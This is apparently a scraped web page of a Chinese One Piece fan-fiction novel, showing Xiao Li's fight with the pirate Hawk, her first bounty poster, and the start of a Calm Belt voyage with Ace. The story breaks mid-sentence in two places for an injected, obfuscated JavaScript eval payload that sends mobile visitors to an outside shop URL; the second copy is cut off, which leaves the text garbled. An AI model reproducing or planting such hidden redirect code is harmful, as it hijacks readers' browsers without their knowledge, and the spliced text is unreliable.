“为了桶桃子来找‘双刀’霍克船长的晦气?这他妈是我今年听过最好笑的笑话!” “抓回去!船长!这妞虽然脑子不好,但长得够味,抓回去给兄弟们乐乐!” 霍克海贼团爆发出震耳欲聋、几乎要掀翻屋顶的哄笑声!笑声里充满了极致的轻蔑、侮辱和残忍的兴致。他们仿佛看到了世界上最滑稽的场景,一个个笑得前仰后合,捶胸顿足,眼泪都快笑出来了。莉娜在他们手中,听着这些刺耳的嘲笑,看着挡在自己身前那个并不比自己高大多少的、微微颤抖却倔强站立的身影,眼泪终于决堤,大颗大颗地滚落,混合着恐惧和一种说不清的情绪。 听着这些如同针扎般的嘲笑,看着莉娜绝望的泪水,感受着霍克那如同毒蛇般黏腻恶心的目光,小狸心中那最后一丝因陌生和紧张而产生的动摇,如同被烈火烧尽的枯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941759|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草,彻底化为灰烬。取而代之的,是冲天而起的、纯粹而滚烫的怒火!这怒火烧干了喉咙的干涩,烧融了四肢的冰凉,烧尽了所有无用的胆怯! 她不再试图模仿任何人,也不再废话。 “我说——放!开!她!” 每一个字,都像从牙缝中迸出,带着决绝的寒意。 话音未落的瞬间,小狸的身体已然压下,重心前移,如同一张拉满的弓。她那双蔚蓝色的猫瞳在晨光中锐利地收缩,死死盯住霍克抓住莉娜头发的那只手。接着,她动了! 没有预兆,没有花哨的起手式。纯粹的速度爆发!纤细的身影在空气中几乎拖出一道淡淡的黑色残影,直取霍克的面门!指尖不知何时已然弹出半寸,寒光凛冽,带着撕裂空气的细微尖啸! 霍克确实没料到这个看似柔弱(甚至有点傻气)的少女真敢动手,而且速度如此之快!仓促之间,他只能猛地将手中提着的莉娜像丢垃圾一样狠狠往旁边一甩,同时另一只手闪电般拔出了腰间的第一把长刀! “嗤——!” 刀锋出鞘的寒光与小狸的爪影交错! 霍克惊险万分地猛一偏头,锋利的指甲擦着他的颧骨掠过,带起一阵火辣辣的刺痛,随即,温热的液体顺着脸颊流下——一道不深却足够清晰的血痕,赫然出现在他粗糙的脸上! “呃啊——!”霍克又惊又怒,更多的是难以置信的羞辱感!他竟然被一个小丫头伤了脸?!“找死!你他妈是真的找死!开枪!都给老子开枪!打死这只不知天高地厚的野猫!”他狂怒地咆哮,声音因暴怒而扭曲。 砰砰砰砰——! 周围的船员从最初的震惊和嘲笑中回过神来,听到船长的命令,几乎本能地举起手中的长筒火铳和燧发枪,朝着那道快速移动的黑色身影扣动了扳机!硝烟瞬间弥漫,刺鼻的火药味混合着血腥气。子弹如同密集的雨点,呼啸着射向小狸! 真正的枪林弹雨! 小狸的心脏在这一刻几乎要跳出喉咙!这是她第一次面对如此密集、如此毫不留情的实弹射击!呼啸的弹头带着死亡的气息擦身而过,打在身后的土墙、木箱、石板路上,溅起一片片碎石、木屑和烟尘!噗噗的入土声和清脆的撞击声不绝于耳!她在方寸之地进行着极限闪避,身影快得令人眼花缭乱,时而侧身滑步,时而矮身翻滚,时而利用街边倾倒的货摊和木桶作为短暂掩体。动作虽然迅捷,但在真正经历过无数血战的艾斯眼中,却依旧透着一股新手的、依靠本能多于技巧的狼狈。有好几次,子弹几乎是贴着她的衣角或发梢飞过,险之又险。她被凶猛的火力压制,根本无法靠近霍克,只能不断后退、闪躲,寻找着弹幕的间隙,额角已然渗出细密的冷汗。 恐惧,从骨缝中透出的恐惧像冷血的爬行动物一样攀上她的身体,这恐惧并不来自敌人的威胁,而是……她收手了 她精准的瞄准了霍克的咽喉,却在最后一刻无法控制的收手了,这个身体像被无形的力量禁锢,无法移动分毫,最后指尖只擦破了他的脸颊,到底……发生了什么? 艾斯一直安静地站在二楼的窗口,身体微微前倾,双手看似随意地搭在木制栏杆上。但他的眼神专注如鹰隼,紧紧追随着下方那道在烟尘与弹幕中穿梭的纤细身影。每一个惊险的闪避,都让他搭在栏杆上的手指不易察觉地收紧一分,指节微微泛白。虽然他信任小狸觉醒后的身体素质和老爹他们这段时间的指导,虽然他知道这是她必须经历的、真正见血的淬炼,但亲眼看着她被子弹追逐,在生死边缘游走,胸腔里那颗心脏依旧被无形的手攥紧,传来一阵阵闷痛。他克制着立刻出手将下面那群杂碎烧成灰烬的强烈冲动,他知道,此刻的放手,是为了她未来的羽翼可以更有力的翱翔。 海贼们的子弹并非无限。一轮疯狂扫射后,枪声骤然稀疏,许多人开始手忙脚乱地重新装填火药和弹丸,咒骂着枪械的笨拙和对方的敏捷。 就是现在! 一直被压制、寻找机会的小狸,猫瞳中精光暴涨!她如同蛰伏许久的阴影,从半截破木桶后猛地蹿出,速度比之前更快!目标是刚刚甩开莉娜、正因手下火力中断而略显烦躁的霍克!她要将这个罪魁祸首彻底击倒! 利爪撕裂空气,再次瞄准霍克咽喉! 得手了!她心中这个念头刚刚升起,前扑的身体又再次一僵—— 看到小狸身体突然停滞,本被她速度吓到的霍克脸上的惊慌立刻消失,露出了一丝狰狞而残忍的笑容!他猛地将手中那柄原本就是摆设的手枪随手扔掉,右手以惊人的速度握住了腰间一直未曾动用的第二把长刀的刀柄! “小野猫!你他妈上当了!”霍克狂笑出声,声震街道,“老子真正的本事,是双刀!” “锵!锵!” 两把长刀同时出鞘!刀身比寻常武士刀更宽更厚,刃口闪烁着冰冷的寒光,显然饮血无数。霍克双臂肌肉贲张,两把长刀在他手中仿佛活了过来,一左一右,一上一下,瞬间舞动起来! 不是简单的劈砍,而是交织成一片密不透风、泼水不入的银色刀网!刀光凛冽,带着“呜呜”的破空厉啸,将霍克周身数尺范围完全笼罩!这才是他“双刀”名号的由来,是他能在悬赏金上达到一千五百万贝利的真正倚仗!刚才的单刀和枪击,不过是戏耍和消耗! 小狸的瞳孔骤然收缩!她全力前冲的势头已老,变向不及,如同自己主动撞向那片死亡的刀芒! “嗤啦——!” “噗——!” 布料撕裂的声音和皮肉被划开的细微声响几乎同时响起! 小狸闷哼一声,强行扭转身躯,以左臂和腰侧付出了代价!左臂袖子被撕开一道长口子,白皙的皮肤上浮现出一道殷红的血线,火辣辣地疼!腰侧更是一凉,随即刺痛传来,显然也被刀锋擦过,鲜血迅速浸湿了深色的衣料。 剧痛和突如其来的凶猛反击打乱了她所有的节奏!她被迫踉跄后退,脚步第一次出现了凌乱,原本流畅迅捷的动作变得滞涩。霍克得势不饶人,狂笑着舞动双刀,步步紧逼,刀光如跗骨之蛆,紧紧缠绕着她,每一刀都直奔要害,狠辣无比!小狸左支右绌,只能凭借极限的柔韧和速度勉强闪避格挡,险象环生,手臂、肩头、小腿又添了几道或深或浅的伤口,鲜血点点洒落在地面尘土中。她陷入了彻底的苦战,从主动进攻被迫转为艰难防守,呼吸开始急促,额头的汗水混合着灰尘滑落。 为什么?到底为什么?! 33. 冲破桎梏与悬赏令 手臂上火辣辣的刺痛,腰间不断渗出的温热,都在无情地宣告着身体的迟钝与失利。每一次险之又险地避开致命刀锋,都伴随着肌肉因过度紧绷而产生的酸涩和心脏近乎痉挛的狂跳。这种濒临绝境、束手束脚的感觉,与在莫比迪克号上与伙伴们对练时截然不同!那时的比斯塔队长,刀光如水银泻地,却总在最后关头化作拂面的柳枝;乔兹师傅的钻石撞击沉重如山,却始终保持着令人安心的分寸。她可以尽情闪躲、尝试反击,即使摔倒,也只会换来一阵善意的哄笑和马尔科先生无奈的治疗。 可现在…… 为什么?明明这个挥舞双刀的家伙,动作比乔兹师傅笨拙得多,速度比不过哈尔塔队长灵巧的十分之一,力量更是远逊于阿特摩斯先生……可为什么自己就是打不赢?为什么每一次想要突进、想要用爪子真正触及他的身体时,身体深处总会传来一阵细微却顽固的滞涩?像是生锈的齿轮,在关键处卡住;又像是一道无形的锁链,缠绕在挥出的利爪之上。 是因为……害怕吗? 害怕那真正会切开皮肉、斩断骨骼的冰冷刀锋?害怕受伤流血的疼痛?不,不是的,虽然总是娇气的撒娇,但那更多是希望得到关注,她并不畏惧□□上的痛楚。 那是什么? 就在她再次被逼退、手臂添上新伤的瞬间,一个冰冷而清晰的认知,如同深水炸弹般在她脑海炸开——这滞涩,这束缚感,并非源于恐惧,而是仿佛直接书写进她基因底层的某种程序!一个被反复灌输、刻入骨髓的禁令:不能杀害人类。 这个认知让她浑身一冷,脊背瞬间爬满细密的寒意。 “不能伤害人类”——这个她最厌恶、最抗拒的概念,像一条阴毒的锁链,直到今天仍在试图捆绑她的意志,否定她作为“人”的正当性。实验室的白大褂们一边将她改造得非人非兽,一边却又用这条准则来界定她的“错误”,仿佛在说:看,你不配拥有人的身份,因为你本该如此,你和“人”是不同的,你本质上是危险的、需要被约束的,“东西”。 就在她因为那一丝莫名的滞涩而再次错失良机,被霍克狞笑着逼退,左臂上又添一道新鲜血痕时,几种声音同时刺入了她的耳膜: 莉娜带着哭腔、撕心裂肺的惊叫:“小狸姐姐!小心后面啊!” 那声音里充满了纯粹的担忧与恐惧,为她的险境而颤抖。 周围海贼们更加猖狂、带着残忍兴味的嘲笑:“哈哈!快不行了!”“船长!这野猫爪子还挺利,待会儿拔光了看她还怎么蹦跶!” 还有…… 二楼窗口处,那个她最熟悉、最信赖的声音,平静地、清晰地、穿透了所有嘈杂,如同定海神针般传入她混乱的心神: “小狸,相信自己。” 艾斯的声音不高,却带着一种奇异的、不容置疑的力量,仿佛他就在她耳边低语。 “你可以的。” 你可以的。 简简单单四个字,像一把重锤,猛地敲击在她心灵深处某个一直紧绷、甚至被刻意遗忘的枷锁上! “喀啦——” 一声只有她自己能听见的、源于精神层面的脆响。 是啊!这个仗势欺人、只会欺凌弱小的所谓“双刀”霍克,和白胡子海贼团那些真正强大、如山如海、却将力量用于守护家人的大家比起来,根本弱得不堪一击!像泥沼边的癞蛤蟆对着星空狂吠! 我想要保护什么? 我想要保护莉娜那样清澈却被迫哭泣的眼睛,想要保护那些在夹缝中努力维持一点温暖与生计的人,想要保护那些……或许依旧麻木、但不应被如此践踏的普通生活。 我想要守护什么? 我想要守护艾斯哥哥带回给我的这片广阔而自由的海洋,想要守护莫比迪克号上那份喧闹却真挚的温暖,想要守护老爹认可我时,那份沉甸甸的、名为“家人”的归属感。 我想要拥有什么? 我想要拥有像艾斯哥哥那样,燃烧自己、照亮前路、也能庇护所爱之人的强大力量!不是被关在实验室里评估的“基因优势”,不是被黑街法则逼迫出的求生本能,而是真正由自己意志驱动、用以践行心中道义的、堂堂正正的力量! 我不是永远需要被护在羽翼下、只能咪咪叫着寻求安慰的幼猫! 我是小狸!是被白胡子爱德华·纽盖特亲口承认、被全船伙伴接纳宠爱的家人!是白胡子海贼团的一员! “吼——!!!” 一声压抑不住的、混合着少女清越与猫科动物原始野性的低吼,猛地从小狸喉咙深处迸发出来!那声音不大,却仿佛带着某种穿透性的力量,让离得近的几个海贼下意识后退了半步。 她的眼神,在这一吼之后,彻底变了。 之前那些紧张、犹豫、因陌生战斗和无形束缚而产生的迷茫与滞涩瞬间消失得无影无踪。取而代之的,是一片锐利如冰的湛蓝。瞳孔收缩,目光锁定霍克,不再关注他挥舞的刀光,而是聚焦于他身体运动的轨迹,肌肉发力的征兆,呼吸节奏的变换——那是捕猎者的眼神,冷静、专注、精准,不带丝毫多余情绪。 霍克被她陡然变化的气势和眼神刺得一怔,刀势不由自主地缓了半分。 就是这微不可查的刹那! 小狸动了!她不再被动地等待间隙,而是主动创造机会!身体以一种近乎违反人体工学的、猫科特有的极致柔韧向内扭曲,整个上身几乎与地面平行,险之又险地贴着霍克右手斩来长刀的刀锋“滑”了过去!冰冷的刃口擦着她腹部的衣料,带起一丝凉意,却未能再伤她分毫。而在身体扭曲、与刀锋擦过的同时,她的右爪——五指已然完全弹出,寒光凛冽,不再是试探,而是灌注了全部决意与力量——如同蛰伏暗影中陡然刺出的毒牙,以迅雷不及掩耳之势,精准无比地探向霍克因挥刀而门户大开的左手手腕! “噗嗤——!” 利刃入肉的闷响,清晰得令人牙酸。 不再是浅尝辄止的划痕。五根尖锐的指甲,毫无阻碍地、深深地刺入了霍克左手腕的肌腱与骨缝之间!鲜血瞬间涌出,染红了小狸的手指和霍克的手腕。 “啊啊啊啊——!!!” 霍克发出一声杀猪般凄厉至极的惨嚎,剧痛让他整条左臂瞬间脱力,手指一松,那把一直握在左手的、沾染过无数鲜血的长刀,“当啷”一声,沉重地掉落在尘土之中。 小狸的动作没有丝毫停顿,流畅得如同演练过千百遍。插入手腕的右爪猛地向下一扯,借力将身体拉正的同时,左拳已然紧握,由下至上,如同一记精准的铁锤,狠狠地、结结实实地砸在了霍克因吃痛而大张的下巴上! “咔嚓!”令人心悸的骨裂声隐约传来。 霍克被这一拳打得脑袋猛地向后仰去,眼前金星乱冒,惨叫声戛然而止,变成了含糊的呜咽。 紧接着,小狸支撑身体的右脚如同鞭子般扫出,一个干净利落的扫堂腿,精准地踢在霍克已然虚浮的双脚脚踝处! “砰——!” 尘土飞扬。 “双刀”霍克,这位悬赏金一千五百万贝利、在这片海域作威作福许久的恶霸船长,像一堵被抽空了根基的土墙,沉重地、狼狈不堪地仰面摔倒在地,激起一片烟尘。他试图挣扎,但下巴的剧痛和手腕的创伤让他一时使不上力气。 而小狸,已经如影随形般跟上。她单脚前踏,稳稳地踩在了霍克厚实的胸膛上,微微用力,便让后者又是一阵窒息般的闷哼。另一只手的利爪并未收回,就那样悬停在霍克的眼皮上方,指甲尖端距离眼球不过毫厘,冰冷的寒光倒映着霍克因极度恐惧而放大的瞳孔。 小狸微微俯身,蓝色的猫瞳冰冷地俯视着脚下这个瞬间从猎食者沦为待宰羔羊的男人。她的呼吸因为刚才一连串爆发而略显急促,脸颊和手臂上的伤口还在渗血,几缕黑发被汗水黏在额角,但她的眼神却平静得可怕,里面没有胜利的狂喜,只有一种经历过挣扎、最终冲破束缚后的、凛然的威慑与淡漠。 “你……你……”霍克吓得魂飞魄散,喉咙里咯咯作响,先前所有的凶狠、淫邪、嚣张气焰荡然无存,只剩下最原始的、面对绝对力量差距和死亡威胁时的惨白恐惧。他连一句完整的狠话都说不出来了。 整个港口,陷入了前所未有的、近乎真空般的死寂。 所有海贼,无论是霍克的手下还是其他船只上看热闹的,全都像是被命运扼住了喉咙,目瞪口呆,眼珠几乎要瞪出眼眶。他们无法理解,无法接受!那个不可一世、双刀令人闻风丧胆的霍克船长,竟然……竟然在短短几个呼吸间,被这个看起来纤细娇柔、刚才还被压着打的猫耳少女,以如此干脆利落、近乎碾压般的方式击败了?!而且那最后几下……狠辣、精准、毫不留情,完全不像一个新手! 小狸缓缓收回踩在霍克胸膛上的脚,悬在他喉咙上的利爪也悄然缩回,变回普通的手指。她没有再看地上瘫软如泥的败者一眼,仿佛那只是一块需要被扫开的绊脚石。她转过身。 阳光正好破开云层,金辉洒落,照亮她染血的侧脸和挺直的脊背。她看向不远处——玛姬阿姨早已冲了过来,将吓得呆住、忘了哭泣的莉娜紧紧搂在怀里,像是拥抱着失而复得的全世界,妇人压抑的抽泣声低低传来。而莉娜,那个瘦小的女孩,正从玛姬颤抖的肩膀上方,睁大了一双泪痕未干却亮得惊人的眼睛,一眨不眨地望着她。 小狸看着莉娜,看着那双眼眸中倒映出的、站在光里的自己。她忽然觉得,手臂和腰侧的伤口好像没那么疼了。一种陌生的、滚烫的、充满力量的情绪在胸腔里鼓胀。她努力回想艾斯平时胜利后那种爽朗又有点臭屁的笑容,试图模仿。她抬起没受伤的右手,再次叉在腰间,对着莉娜,脸上慢慢绽开一个混合着疲惫、释然、以及一点点小得意的、灿烂到晃眼的笑容。甚至还学着不知道从哪儿看来的手势,笨拙但用力地对着莉娜比了一个“V”字。 然后,她深吸了一口气,转向周围依旧沉浸在震惊与死寂中的人群——那些麻木的居民,那些惊疑不定的其他海贼,那些尚未从船长惨败中回过神来的霍克残党。晨风扬起她沾着灰尘和血迹的黑发,她的声音不再仅仅是清脆,而是带上了一种初试啼声的、清越而坚定的穿透力,用尽此刻所能汇聚的全部力气,清晰而响亮地宣布: “听着!我是小狸——” 她顿了顿,目光不由自主地飘向二楼窗口,那里,橙色的帽檐轻轻动了一下,仿佛在颔首。她回过头,语气更加笃定: “隶属于白胡子海贼团二番队!” 这个名字,如同投入滚油中的冷水,再次引起一阵低低的、含义复杂的骚动。白胡子!那个名字本身就是传奇,是庇护,也是绝对的威慑。 小狸的目光扫过那面依旧挂在狰狞大船上、却在晨风中显得有些颓然的双刀骷髅旗,一丝迟疑掠过心头——这样做对吗?这样说可以吗?但她想起艾斯那句“想做就去做”,想起莫比迪克号上大家守护岛屿时的样子。她压下那丝迟疑,抬起头,声音掷地有声,在这寂静的港口上空回荡: “从今天起,这个岛——” 她伸手指向脚下这片饱受欺凌的土地,指尖还沾着霍克和自己的血。 “——由我们白胡子海贼团接管了!” 沉默。 并非欢呼,并非感激,而是一种更深沉、更持久的、近乎凝滞的沉默。这沉默如同冰冷的潮水,蔓延过街道,淹没了小狸声音落下后的余音。 居民们脸上的惊恐并未完全褪去,空洞的眼神里也没有燃起希望的火花,只是多了一层更复杂的、近乎麻木的观望。对他们而言,“海贼”就是海贼,无论旗号如何变换,无论言辞多么漂亮,本质上都是强大的、无法反抗的暴力集团。从“双刀”霍克的残酷掠夺,换成“白胡子”或许相对温和的“接管”,他们的生活依然是被支配的、需要缴纳“费用”的、在夹缝中求存的。被压迫的命运,在这个大海贼时代,仿佛是无数岛屿上空恒定的、灰暗的旋律。他们早已习惯,甚至学会了不去期待改变。小狸那充满热血与个人英雄色彩的宣告,尚未能穿透这层经年累月积攒下的、厚重的现实冰层。 而霍克海贼团的残党们,在经历了最初的呆滞后,终于被恐惧彻底攫取。他们看着倒地不起、生死不知的船长,看着那个站在阳光下、明明带伤却仿佛不可战胜的猫耳少女,再看看二楼那个一直沉默却让人更加胆寒的橙色身影……最后一丝抵抗的念头也烟消云散。 “跑……快跑啊!” 不知谁先发出一声变调的尖叫,如同丧家之犬的哀鸣。剩下的海贼们顿时如梦初醒,连滚爬带,丢盔弃甲,如同被沸水浇灌的蚁群,疯狂地冲向他们的船只,甚至有人慌不择路直接跳进海里拼命游过去。起锚的号令带着哭音,帆缆被胡乱扯动,那艘狰狞的大船以一种前所未有的狼狈姿态,仓皇调头,向着远海逃窜,甚至不敢回头再看一眼螺贝岛的轮廓。 唯有莉娜。她被玛姬紧紧抱着,却努力转过头,泪水再次涌出,但这次不再是恐惧,而是某种滚烫的、几乎要满溢出来的东西。她透过朦胧的泪眼,一眨不眨地凝视着那个站在尘埃与阳光中、发梢染血、笑容灿烂、仿佛全身都在发光的猫耳少女。那个身影,为了她这样一个微不足道、像野草一样的孤儿,挺身而出,与可怕的恶徒战斗,并且……赢了。强大,美丽,又带着一种让她心口发烫的温暖。她用力地、用力地睁大眼睛,像是要用尽全身的力气,将这一刻,将这个身影,深深地、永不磨灭地镌刻在自己稚嫩却早熟的心版之上。憧憬与崇拜,如同种子,落入了被泪水浸湿的心田。 …… 直到霍克海贼团的船只彻底消失在视野之外,港口令人窒凝滞气氛略有缓和,小狸一直紧绷的神经才稍微松弛下来。这一松弛,手臂和腰侧伤口那被肾上腺素压制的刺痛,便如同苏醒的毒蛇,猛地噬咬上来。 “嘶……”她忍不住倒吸一口凉气,好看的眉毛拧了起来,低头看向自己左臂和腰间被划破的衣物和渗出的血迹。 几乎就在她发出痛呼的同时,一道温暖的气息已然靠近。艾斯不知何时已经从二楼下来,悄无声息地来到了她的身边。他没有立刻说话,只是先仔细地、快速地将她从头发丝到脚尖扫视了一遍,确认没有更严重的创伤,目光在她几处伤口上停留片刻,眼底深处掠过一丝几乎无法捕捉的心疼,随即被一种更深沉的专注取代。 “别动。”他低声道,声音比平时更温和一些。他变戏法似的从随身的小包里拿出干净的棉布、清水瓶和一小罐马尔科特制的、带着清凉草药气息的伤药。他先小心翼翼地用清水浸湿棉布,动作轻柔,一点一点擦拭掉她伤口周围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但他的语气里,从头到尾,没有丝毫真正的责备意味。那刻意放轻的声音,那细致入微的动作,那看似批评实则点拨的话语里,包裹着浓得化不开的、几乎要溢出来的关心。以及……一种被他极力压抑、却依旧从眼角眉梢悄悄泄露出来的,藏不住的骄傲。 小狸乖乖地让他处理伤口,听着他的“教训”,吐了吐舌头,有些不好意思地小声道:“知道了,艾斯哥哥。” 随即,她像是想起了什么更重要的事,蔚蓝的眼眸里浮现出一丝忐忑,小声问:“哥哥……我这样自作主张,宣布接管这个岛……会不会给老爹和大家惹麻烦啊?” 她虽然习惯了被各种目光注视,但此刻才后知后觉地意识到,自己的行为可能代表了整个白胡子海贼团的意志。 艾斯闻言,先是一愣,随即低低地笑了起来。笑声爽朗,驱散了战后残留的些许阴霾。他伸出手,用力揉了揉她刚包扎好、不敢乱动的脑袋,将她的头发揉得有些乱。 “麻烦?”他重复着这个词,笑容里带着海贼特有的不羁与笃定,“小狸,你记住,你现在是海贼了。海贼行事,有时候不需要那么多瞻前顾后。看不过眼,拳头又够硬,管了也就管了。这算什么麻烦?” 他顿了顿,目光扫过周围。那些居民依旧带着复杂的眼神远远观望,偶尔有相机镜片的反光一闪而过。他又看向地上散落的、沾了尘土却依旧鲜亮的桃子,弯腰,捡起一个看起来最完好的,在自己干净的衬衫下摆上仔细擦了擦,然后塞进小狸没受伤的右手里。 “而且……”艾斯直起身,从钱袋里掏出几枚亮晶晶的金币,走到还被玛姬抱着的莉娜面前,蹲下身,将金币轻轻放在小女孩因为紧张而攥紧的小手里,对她和满脸泪痕的玛姬露出一个安抚的笑容。然后,他走回小狸身边,揽住她的肩膀,将她转向广阔的海面,声音不大,却带着一种预言般的、无比自豪的笃定: “从今天起,这片大海上……” 他微微侧头,看着小狸在阳光下显得有些稚气却坚毅的侧脸,看着她手中那个鲜红的桃子。 “就会开始流传你的名字了。” …… 几天后,在他们驾着“前锋号”返航、途径另一座宁静小岛补充淡水时,新的悬赏令随着新闻鸟的翅膀,散落到了世界各地,也飘到了这座小岛的酒吧门口。 小狸好奇地从地上捡起一张被风吹落的崭新纸张。当她的目光落在纸张正中的画像上时,蔚蓝色的猫瞳瞬间惊讶地睁大,嘴巴也微微张开。 悬赏令印刷得不算特别精美,但特征抓得很准。照片上,她正以一个有些别扭但努力挺直的姿势叉腰站着,微微昂着头,没受伤的右手比着一个傻气又用力的“V”字手势,脸颊和手臂上还带着清晰可见的、已经干涸的血迹痕迹,背景是几个模糊的、正在仓皇逃向船只的海贼背影,依稀能看出霍克海贼团的服饰风格。画像旁边,用加粗的黑色字体清晰地印刷着: WANTED DEAD OR ALIVE XAO LI 20,000,000 贝利 “哇——!!!”小狸猛地跳了起来,尾巴因为极度兴奋而直直竖起,像根旗杆,尾尖激动地颤抖着,“两……两千万!我值两千万贝利哎!这是我的第一张悬赏令!”她惊喜地叫出声,拿着那张薄薄的纸翻来覆去地看,像得到了最心爱玩具的孩子,眼睛亮得惊人,“上面还有我的照片!虽然有点丑……但这是我的第一张照片哎!我要把它带回去,挂在我房间的墙上!” 她开心得几乎要在酒馆吧台前手舞足蹈,拿着悬赏令凑到艾斯面前,献宝似的晃来晃去,脸上是毫无阴霾的、纯粹的喜悦与成就感:“哥哥你看!快看!我有悬赏令了!两千万哦!” 艾斯倚在柜台边,看着她欢快雀跃、仿佛整个星空都落入眼中的模样,脸上洋溢着毫不掩饰的、几乎能将人融化的宠溺笑容,任由她像只兴奋的小猫般转圈。 “笨蛋,”他忍不住调笑道,伸手想弹她额头,看到她手臂的绷带又收回了手,改为轻轻点了一下她的鼻尖,“哪有海贼把自己的悬赏令像奖状一样挂墙上的?不嫌丢人。” “明明哥哥你自己也挂了!我看到了!就在你房间!”小狸立刻反驳,猫耳竖起,理直气壮。 “我那是……”艾斯被她噎了一下,摸了摸鼻子,有点尴尬地找补,“我那是……为了提醒自己还有进步空间!对,激励自己!” “我不管!我也要!这是我的‘战利品’!”小狸把悬赏令宝贝似的抱在怀里,尾巴摇得更欢了,“我要挂起来!让柯达兹也看看!” 艾斯看着她耍赖又开心的样子,无奈又纵容地摇头失笑,眼底的温柔几乎要溢出来。“好好好,随你,想挂就挂。” 然而,在小狸转身,继续对着悬赏令上的自己傻笑、比划着要挂在房间哪个位置最好时,艾斯却悄悄地藏起了另一张同样崭新的悬赏令。他的目光落在上面那个叉腰傻笑、带着血迹却眼神明亮的猫耳少女画像上,凝视了片刻。然后,动作轻柔而仔细地将那张悬赏令沿着折痕重新折叠好,仿佛在对待什么易碎的珍贵文件。最后,他拉开自己背包的一个暗袋,将这张折叠好的悬赏令,小心翼翼地放了进去,轻轻按了按背回背上,确保它妥帖地待在离心脏最近的位置。 海风带着咸涩的气息拂过摇晃的木门,吹动了少女欢快飞扬的黑发和兴奋摆动的尾巴,也吹动了少年额前黑色的碎发,和他眼中那深不见底的、混合着骄傲、守护与某种更深邃情感的微光。小狸的名字,正如他所预言的那样,伴随着这份两千万贝利的悬赏令,开始在这片广阔无垠、充满传奇与危险的大海上,随着新闻鸟的翅膀与海风的低语,悄然流传开来,刻下了一道虽显稚嫩、却注定不容忽视的、属于她自己的印记。 而那份悬赏令,或许不仅仅是一个妹妹成长的证明,更是他心中那份日益清晰、却尚未言明的情感,最初的、无声的锚点。 34. 无风带 没有明确目标、也不急于追赶什么的航行,在伟大航路变幻莫测的气候与奇景映衬下,更像是一场被无限拉长、浸透了阳光与海盐的悠长假期。 他们在一座盛产奇特荧光珊瑚的岛屿停留了两日,夜晚的海滩被幽蓝的珊瑚光芒照亮,如梦似幻,小狸兴奋地追着那些光点在沙滩上留下长长的脚印。又在某个以歌声醉人的长手族村落盘桓了一天,聆听了据说能安抚海兽的古老歌谣。就这样走走停停,领略着截然不同的风土与人情,将近一周的光阴在指缝间如细沙般流淌。直到火焰小艇的航向终于指向伟大航路更深、更汹涌的海域,朝着莫比迪克号时常活动的海域——向家的方向驶去。 穿越无风带,是一种奇特的体验。上一次经过时,小狸蜷在艾斯腿上睡得昏天黑地,错过了这传说中的景象。这一次,她清醒着,趴在“前锋号”低矮的船舷上,几乎将半个身子都探出去,蔚蓝的猫瞳里充满了纯粹的好奇与一丝不易察觉的敬畏。 眼前的海面,与她认知中任何一片海洋都不同。没有翻涌的白浪,没有起伏的波涛,甚至连一丝最细微的涟漪都看不见。海水呈现出一种近乎粘稠的、沉重的深蓝色,平滑如一整块无边无际的、精心打磨过的墨色琉璃,倒映着同样静止不动的洁白的云朵。绝对的平静带来一种令人窒息的、近乎诡异的死寂。空气仿佛凝固了,连海鸟的踪影都消失不见,只有小艇引擎稳定而低沉的嗡鸣,成为这片绝对寂静中唯一有规律的心跳。 “小心一点哦,”艾斯悠闲地靠在小艇中央那根并不算高的桅杆上,嘴里叼着一片烤得焦脆的肉干,含糊地提醒,眼里闪过一丝促狭的笑意,“看得太入迷,小心被水里突然冒出来的东西,一口叼走小猫脑袋。” “才不会呢!”小狸头也不回地反驳,但身体还是诚实地往后缩了缩,只留下下巴搁在船舷上。她甩了甩尾巴尖,提出了盘旋心头许久的疑问:“这里……好奇怪啊。这么平静,连一丝风都没有,为什么海上连一条船都看不到?不是应该更安全吗?” “就是因为没有风啊,”艾斯咽下肉干,拍了拍手上的碎屑,走到她身边,也学着的样子趴在船舷上,侧头看着女孩写满困惑的侧脸,“‘前锋号’是靠火焰驱动的,除了你哥哥我,伟大航路上大概找不出第二艘能这么跑的小艇了。可别的船呢?那些依靠风帆的大家伙,在这里就等于被钉死在了海面上,寸步难行。”他顿了顿,看着小狸似懂非懂地点点头,眼中的恶作剧光芒更盛,故意用神秘兮兮的语气压低声音,“不过嘛……无风带这么‘干净’,可不仅仅是因为没风。其他的原因嘛……” 他拖长了音调,成功地吸引了小狸全部的注意力。她扭过头,眼睛睁得圆圆的,像两颗浸在清水里的蓝玻璃珠,等待着他的答案。 艾斯坏笑着,用下巴点了点下方深不见底的海水:“你把手伸进水里,亲自感受一下,不就知道了?” 小狸狐疑地眯起眼睛,盯着艾斯脸上那怎么看都不太“纯良”的笑容,直觉告诉她这家伙肯定没安好心。但强烈的好奇心最终战胜了那点微不足道的警惕。她犹豫了一下,没敢真的用手——万一水里有什么咬人的小东西呢?她灵机一动,将身后那条毛茸茸的黑色长尾巴小心地探出船舷,只将尾巴尖那一小段,极其缓慢地、试探性地浸入了冰凉的海水中。 尾巴尖的绒毛被海水浸湿,带来一阵凉意。起初,什么也没发生。水面依旧平静得可怕。 但几秒钟后,异变陡生。 以小狸尾巴尖为中心,原本平滑如镜的海面,开始冒出细小的、密集的气泡。“咕噜……咕噜噜……”气泡起初很微弱,然后迅速变得密集而活跃,仿佛水底有什么巨大的东西正在被惊扰、苏醒、并迅速上升。 小狸的好奇心瞬间被提到了顶点,她忘记了害怕,甚至将上半身又往前探了探,努力睁大眼睛,试图穿透那深邃得仿佛能吸收一切光线的墨蓝色海水,看清下面到底藏着什么。 来了!有什么东西正在急速接近!体积庞大得超乎想象,即使在深水之下,也能看到一个迅速扩大的、模糊的白色阴影轮廓。 